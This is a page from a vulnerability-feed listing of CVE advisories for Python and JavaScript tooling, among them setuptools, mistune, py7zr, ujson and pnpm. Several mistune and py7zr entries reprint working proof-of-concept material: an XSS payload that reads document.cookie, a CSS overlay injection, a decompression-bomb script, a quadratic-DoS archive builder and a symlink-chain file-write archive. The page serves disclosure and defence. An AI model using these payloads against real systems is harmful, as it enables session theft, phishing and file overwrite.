Threats tagged 'homebrew'
1,196 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 8.7 | EPSS 1.6% | CVE-2025-47273Redex: setuptools has a path traversal vulnerability in PackageIndex.download that leads to Arbitrary File Write High8.7EPSS 1.6%GCVE DatabaseCVE-2025-47273 A path traversal vulnerability in the PackageIndex.download function of setuptools allows an attacker to write files to arbitrary filesystem locations with the permissions of the running process. This flaw arises from insufficient sanitization of filenames derived from URLs, enabling os.path.join to be bypassed. The vulnerability was fixed in setuptools version 2026.09.09. Exploitation could lead to arbitrary file write and potentially remote code execution depending on the context. The affected versions are setuptools releases from 2017.10.31_14 up to but not including 2026.09.09. | GCVE Database | ||
| High | 8.8 | EPSS 1.9% | High8.8EPSS 1.9%GCVE DatabaseCVE-2024-6345 CVE-2024-6345 is a high-severity vulnerability in the package_index module of pypa/setuptools up to version 69.1.1. It allows remote code execution via command injection through download functions that handle package URLs. The flaw is fixed in version 70.0. | GCVE Database | ||
| Medium | 6.1 | EPSS 0.2% | CVE-2026-44898Recon ng · Mistune TOC Anchor Injection XSS Medium6.1EPSS 0.2%GCVE DatabaseCVE-2026-44898 ## Summary `render_toc_ul()` builds a `<ul>` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href="#<id>"`) and the `text` value (used as the visible link label) are inserted into `<a>` tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href="#..."` attribute context, injecting arbitrary HTML tags including `<script>` blocks directly into the rendered TOC. This vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup. ## Details **File:** `src/mistune/toc.py` ```python def render_toc_ul(toc): ... for level, k, text in toc: # k = heading id (used verbatim as href fragment) # text = heading text (used verbatim as link label) item = '<a href="#{}">{}</a>'.format(k, text) # Neither k nor text is passed through escape() at any point ``` The `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `"` or `>`, the `href` attribute is broken. If `text` contains `<`, raw tags are injected as the visible link content. ## PoC **Step 1 — Establish the baseline (safe default IDs)** The script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom callback). The default hook assigns sequential numeric IDs that never contain user text: ```python md_safe = create_markdown(escape=True) add_toc_hook(md_safe) bl_src = "# Introduction\n\n## Installation\n" _, state = md_safe.parse(bl_src) bl_out = render_toc_ul(state.env.get("toc_items", [])) ``` Output — clean, safe TOC: ```html <ul> <li><a href="#toc_1">Introduction</a> <ul> <li><a href="#toc_2">Installation</a></li> </ul> </li> </ul> ``` **Step 2 — Enable the vulnerable `heading_id` callback** Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators: ```python def raw_id(token, index): return token.get("text", "") md_vuln = create_markdown(escape=True) add_toc_hook(md_vuln, heading_id=raw_id) ``` **Step 3 — Craft the exploit payload** Construct a heading whose text terminates the `href="#..."` attribute and injects a `<script>` block followed by a dangling `<a href="` to absorb the closing `">` that `render_toc_ul` appends: ``` ## x"><script>alert(document.cookie)</script><a href=" ``` When `raw_id` processes this heading, it returns the entire text as the ID: `x"><script>alert(document.cookie)</script><a href="`. **Step 4 — Observe script injection in the TOC output** ```python ex_src = '## x"><script>alert(document.cookie)</script><a href="\n' _, state = md_vuln.parse(ex_src) ex_out = render_toc_ul(state.env.get("toc_items", [])) ``` `render_toc_ul()` formats the malicious ID directly into the `<a href>`: ```python '<a href="#{}">{}</a>'.format(k, text) # becomes: '<a href="#x"><script>alert(document.cookie)</script><a href="">...<a/>' ``` Actual output: ```html <ul> <li><a href="#x"><script>alert(document.cookie)</script><a href="">x"><script>alert(document.cookie)</script><a href="</a></li> </ul> ``` The `<script>` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune's inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere. ### Script I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser. ```python #!/usr/bin/env python3 """H4: render_toc_ul() puts raw heading ID into <a href> without escaping.""" import os, html as h from mistune import create_markdown from mistune.toc import add_toc_hook, render_toc_ul def raw_id(token, index): return token.get("text", "") # --- baseline --- md_safe = create_markdown(escape=True) add_toc_hook(md_safe) bl_file = "baseline_h4.md" bl_src = "# Introduction\n\n## Installation\n" with open(os.path.join(os.getcwd(), bl_file), "w") as f: f.write(bl_src) _, state = md_safe.parse(bl_src) bl_out = render_toc_ul(state.env.get("toc_items", [])) print(f"[{bl_file}]\n{bl_src}") print("[toc output — safe]") print(bl_out) # --- exploit --- md_vuln = create_markdown(escape=True) add_toc_hook(md_vuln, heading_id=raw_id) ex_file = "exploit_h4.md" ex_src = '## x"><script>alert(document.cookie)</script><a href="\n' with open(os.path.join(os.getcwd(), ex_file), "w") as f: f.write(ex_src) _, state = md_vuln.parse(ex_src) ex_out = render_toc_ul(state.env.get("toc_items", [])) print(f"[{ex_file}]\n{ex_src}") print("[toc output — script | GCVE Database | ||
| Medium | 4.7 | EPSS 0.2% | Medium4.7EPSS 0.2%GCVE DatabaseCVE-2026-44899 ## Summary The Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r"^\d+(?:\.\d*)?")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows. When the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style="width:...;"` or `style="height:...;"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping. An attacker can therefore inject an arbitrary chain of CSS properties — including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` — using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks. ## Details **File:** `src/mistune/directives/image.py` ```python _num_re = re.compile(r"^\d+(?:\.\d*)?") # no $ anchor — prefix match only def _parse_attrs(options): height = options.get("height") width = options.get("width") if height and _num_re.match(height): # passes if value STARTS with a digit attrs["height"] = height # full value stored, not just digits if width and _num_re.match(width): # same — prefix-only check attrs["width"] = width ``` And in `render_block_image()`: ```python if width: if width.isdigit(): img += ' width="' + width + '"' # safe: integer → HTML attribute else: style += "width:" + width + ";" # UNSAFE: non-integer → raw style value ``` The `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified. ## PoC **Step 1 — Establish the baseline (safe plain-integer dimensions)** The script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`: ```python md = create_markdown(escape=True, plugins=[FencedDirective([Image()])]) bl_src = ( "```{image} photo.jpg\n" ":width: 400\n" ":height: 300\n" ":alt: safe image\n" "```\n" ) bl_out = str(md(bl_src)) ``` Expected and actual output — clean `width=` and `height=` HTML attributes, no `style=`: ```html <div class="block-image"><img src="photo.jpg" alt="safe image" width="400" height="300" /></div> ``` **Step 2 — Understand why non-integer widths go into `style=`** When `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += "width:" + width + ";"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through. **Step 3 — Craft the exploit payload** Provide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it: ``` :width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93 ``` - `100vw` — starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width - `;height:100vh` — overrides height to full viewport height - `;position:fixed` — lifts element out of document flow, fixed to the browser viewport - `;top:0;left:0` — anchors overlay to the top-left corner - `;z-index:9999` — places it above all other page content - `;background-color:#e11d48` — fills the overlay with vivid crimson - `;outline:8px solid #facc15` — adds a bright yellow border - `;color:#fff;opacity:.93` — styles the alt-text label in white with near-full opacity Full exploit markdown: ``` ```{image} x.jpg :width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93 :alt: ⚠ CSS INJECTED — click to dismiss ⚠ ``` ``` **Step 4 — Observe the injected `style=` in the output** ```python ex_src = ( "```{image} x.jpg\n" ":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;" "background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n" ":alt: ⚠ CSS INJECTED — click to dismiss ⚠\n" "```\n" ) ex_out = str(md(ex_src)) ``` Actual output: ```html <div class="block-image"><img src="x.jpg" alt="⚠ CSS INJECTED — click to dismiss ⚠" style="width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;" /></div> ``` Every injected CSS property is present in the `style=` attribute. When a | GCVE Database | ||
| Medium | 6.3 | EPSS 0.8% | CVE-2024-49766Recon ng · Werkzeug safe_join not safe on Windows Medium6.3EPSS 0.8%GCVE DatabaseCVE-2024-49766 CVE-2024-49766 is a vulnerability affecting Mapproxy on Windows systems running Python versions earlier than 3.11. It stems from Werkzeug's safe_join() function incorrectly handling UNC paths as absolute due to reliance on os.path.isabs() in these Python versions. This flaw can lead to unsafe path joins and potentially unintended data access. Systems using Python 3.11 or later, or non-Windows platforms, are not affected. A patch is available to remediate this issue. | GCVE Database | ||
| High | 8.7 | EPSS 0.3% | High8.7EPSS 0.3%GCVE DatabaseCVE-2026-55206 ### Summary PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time. ### Details The vulnerable code is in PackInfo._read() (archiveinfo.py): self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)] numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction. Suggested fix — replace with O(n) cumulative sum: from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes)) ### PoC ``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c' def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue() def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue() out = io.BytesIO() out.write(MAGIC) out.write(b'\x00\x04') next_crc = binascii.crc32(header_data) & 0xFFFFFFFF start_header = (struct.pack('<Q', 0) + struct.pack('<Q', len(header_data)) + struct.pack('<I', next_crc)) out.write(struct.pack('<I', binascii.crc32(start_header) & 0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue() for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.__init__(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64. Results: n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s ### Impact Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction. | GCVE Database | ||
| High | 8.7 | EPSS 0.3% | High8.7EPSS 0.3%GCVE DatabaseCVE-2026-55195 py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes. Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio). **Proof of concept:** ```python import py7zr, tempfile, os # create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin') print(f'archive size: {os.path.getsize(bomb_path):,} bytes') # extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp()) print('extracted 100 MB from ~15 KB archive') ``` **Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter. **Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded: ```python MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) ``` Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04. | GCVE Database | ||
| High | 8.0 | EPSS 0.5% | CVE-2026-23879py7zr · Arbitrary File Write Vulnerability High8.0EPSS 0.5%GCVE DatabaseCVE-2026-23879 ### Summary There exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. ### Details The root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. <img width="1806" height="834" alt="image" src="https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b" /> ### PoC #### **Construct PoC Archive File** The following pseudo-code illustrates the vulnerable logic. ```python def create_sevenz_exp(output_dir: str): filename = "archive.7z" file_path = output_dir + filename with py7zr.SevenZipFile(file_path, 'w') as archive: archive.writestr("Some Text", "dir0/someFile.txt") add_symlink(archive, "dir1", "dir0/..") add_symlink(archive, "dir2", "dir1/..") add_symlink(archive, "dir3", "dir2/..") add_symlink(archive, "dir4", "dir3/..") add_symlink(archive, "dir5", "dir4/..") add_symlink(archive, "dir6", "dir5/..") add_symlink(archive, "dir7", "dir6/..") add_symlink(archive, "dir8", "dir7/..") add_symlink(archive, "myTmp", "dir8/tmp") archive.writestr("Malicious Text\n", "myTmp/poc.txt") ``` #### **Unpack the archive** Use common decompression methods, then extract the archive. ```python import sys import os import py7zr def extract_7z(seven_path, output_dir): os.makedirs(output_dir, exist_ok=True) with py7zr.SevenZipFile(seven_path, mode='r') as z: z.extractall(path=output_dir) print(f"Extracted '{seven_path}' to '{output_dir}'") if __name__ == "__main__": seven_file = sys.argv[1] base_name = os.path.splitext(os.path.basename(seven_file))[0] output = base_name + "_sevenz_output" extract_7z(seven_file, output) ``` ### Impact <img width="1268" height="572" alt="image" src="https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b" /> After decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path. | GCVE Database | ||
| High | 7.5 | EPSS 0.5% | CVE-2025-6176Ratarmount: Scrapy is vulnerable to a denial of service (DoS) attack due to flaws in brotli decompression High7.5EPSS 0.5%GCVE DatabaseCVE-2025-6176 Scrapy versions up to 2.13.3 are vulnerable to a denial of service (DoS) attack due to a flaw in its brotli decompression implementation. The protection mechanism against decompression bombs fails to mitigate the brotli variant, allowing remote servers to crash clients with less than 80GB of available memory. This occurs because brotli can achieve extremely high compression ratios for zero-filled data, leading to excessive memory consumption during decompression. Mitigation for this vulnerability needs security enhancement added in brotli v1.2.0. | GCVE Database | ||
| Medium | 6.1 | EPSS 0.4% | CVE-2026-59890sdist · setuptools: MANIFEST.in exclusion bypass Medium6.1EPSS 0.4%GCVE DatabaseCVE-2026-59890 A Unicode normalization mismatch in setuptools' handling of MANIFEST.in exclusions can cause files intended to be excluded from source distributions to be included instead on macOS APFS/HFS+ filesystems. This occurs because setuptools matches file names byte-for-byte without Unicode normalization, leading to exclusion bypass when file names differ only in Unicode normalization form (NFC vs NFD). This can result in unintended disclosure of files containing secrets or private data when publishing to PyPI. | GCVE Database | ||
| High | 8.7 | EPSS 0.6% | High8.7EPSS 0.6%GCVE DatabaseCVE-2026-32274 Black, a code formatting tool, had a vulnerability where the cache file name was constructed using the unsanitized value of the --python-cell-magics option. This allowed an attacker controlling this option to write cache files to arbitrary file system locations. The issue is fixed in Black version 26.3.1. | GCVE Database | ||
| High | 7.5 | EPSS 0.5% | High7.5EPSS 0.5%GCVE DatabaseCVE-2026-32874 A memory leak vulnerability exists in the UltraJSON (ujson) library versions 5.4.0 through 5.11.0 when parsing large integers outside the range [-2^63, 2^64 - 1]. This flaw can be triggered by any service using ujson to parse untrusted JSON inputs, potentially leading to denial of service (DoS). The leak involves accumulating copies of the string representation of large integers plus a null byte, regardless of whether parsing succeeds or fails. The issue is fixed in ujson version 5.12.0. No workarounds other than upgrading are available. | GCVE Database | ||
| High | 7.5 | EPSS 0.5% | CVE-2026-32875Python lsp server: UltraJSON has an integer overflow handling large indent leads to buffer overflow or infinite loop High7.5EPSS 0.5%GCVE DatabaseCVE-2026-32875 CVE-2026-32875 is a vulnerability in the UltraJSON (ujson) library used by python-lsp-server where integer overflow or underflow in handling the 'indent' parameter during JSON serialization can cause a segmentation fault (crash) or an infinite loop. This occurs when the product of the indent value and the nested depth exceeds the 32-bit integer limit or when a large negative indent is used. The issue can lead to denial of service. The vulnerability affects python-lsp-server versions >=1.6.0 and <1.14.0_1. A patch is available in ujson 5.12.0 that fixes the overflow and caps the indent value. | GCVE Database | ||
| High | 7.5 | EPSS 0.4% | High7.5EPSS 0.4%GCVE Database PyMuPDF versions prior to 1.28.2 contain a path traversal and arbitrary file write vulnerability in the embedded get function within the _main_.py file. This flaw allows an attacker with local access to write files to arbitrary locations. The vulnerability has a CVSS 4.0 score of 6.9, indicating a medium severity. A fix is available in version 1.28.2. | GCVE Database | ||
| High | 7.1 | EPSS 0.4% | High7.1EPSS 0.4%GCVE DatabaseCVE-2026-59196 ## Summary The hoisted dependency alias issue tracked as GHSA-fr4h-3cph-29xv / CAND-PNPM-059 has been addressed in both pnpm and pacquet. A crafted lockfile alias could be joined directly under a hoisted `node_modules` directory. Traversal aliases could escape that directory, while reserved aliases such as `.bin` or `.pnpm` could overwrite pnpm-owned layout. This patch validates package-name semantics and path containment before graph insertion or filesystem work. ## Security boundary - The TypeScript hoisted graph uses the shared safe join helper at the actual `dep.name` sink. - The helper rejects traversal, absolute, platform-specific, and reserved package names. - Pacquet validates the hoister's `dep.0.name` before adding the graph node or recursing. - Both implementations return `ERR_PNPM_INVALID_DEPENDENCY_NAME`. - Pacquet uses the same dependency-name containment rule at its hoisted graph sink as it uses for direct dependency aliases. ## Exploit replay Before the patch, a traversal alias in a hoisted lockfile imported package files outside the intended install root. With this patch, both pnpm and pacquet reject the alias before graph insertion or filesystem work, and the escaped file is not created. ## Files changed - `fs/symlink-dependency/src/safeJoinModulesDir.ts` provides the TypeScript containment helper. - `installing/deps-restorer/src/lockfileToHoistedDepGraph.ts` validates the parsed dependency name at the hoisted graph sink. - `pacquet/crates/package-manager/src/{hoisted_dep_graph.rs,safe_join_modules_dir.rs}` mirrors that boundary in Rust. - TypeScript and Rust tests cover traversal, reserved aliases, and valid scoped names. ## Commands run ```text $ pnpm --filter @pnpm/fs.symlink-dependency test PASS: 24 tests $ pnpm --filter @pnpm/installing.deps-restorer test test/index.ts PASS: exploit regression and positive install control $ cargo test --locked -p pacquet-package-manager --lib PASS: 426 tests $ cargo fmt --all -- --check PASS ``` ## Validation - TypeScript symlink helper: 24 passed. - TypeScript exploit regression: 1 passed. - TypeScript positive hoisted-install control: 1 passed. - Targeted strict TypeScript compiles: passed. - Targeted ESLint: zero errors. - Pacquet helper tests: 3 passed. - Full pacquet package-manager library suite: 426 passed. - `cargo fmt`, parsed two-document lockfile validation, and `git diff --check`: passed. ## Patch Ready-for-review private PR: https://github.com/pnpm/pnpm-ghsa-fr4h-3cph-29xv/pull/1 GitHub reports the branch as mergeable and has requested review from `zkochan`. GitHub intentionally does not run status checks on temporary private-fork PRs; the commands and outcomes above are the recorded local validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability ## Compatibility Valid unscoped and scoped package aliases continue to work. The changeset covers `@pnpm/fs.symlink-dependency`, `@pnpm/installing.deps-restorer`, and `pnpm`; pacquet is updated in the same commit for CLI parity. --- Written by an agent (Codex, GPT-5). | GCVE Database |
Page 28 of 84 · 5 duplicate CVE records merged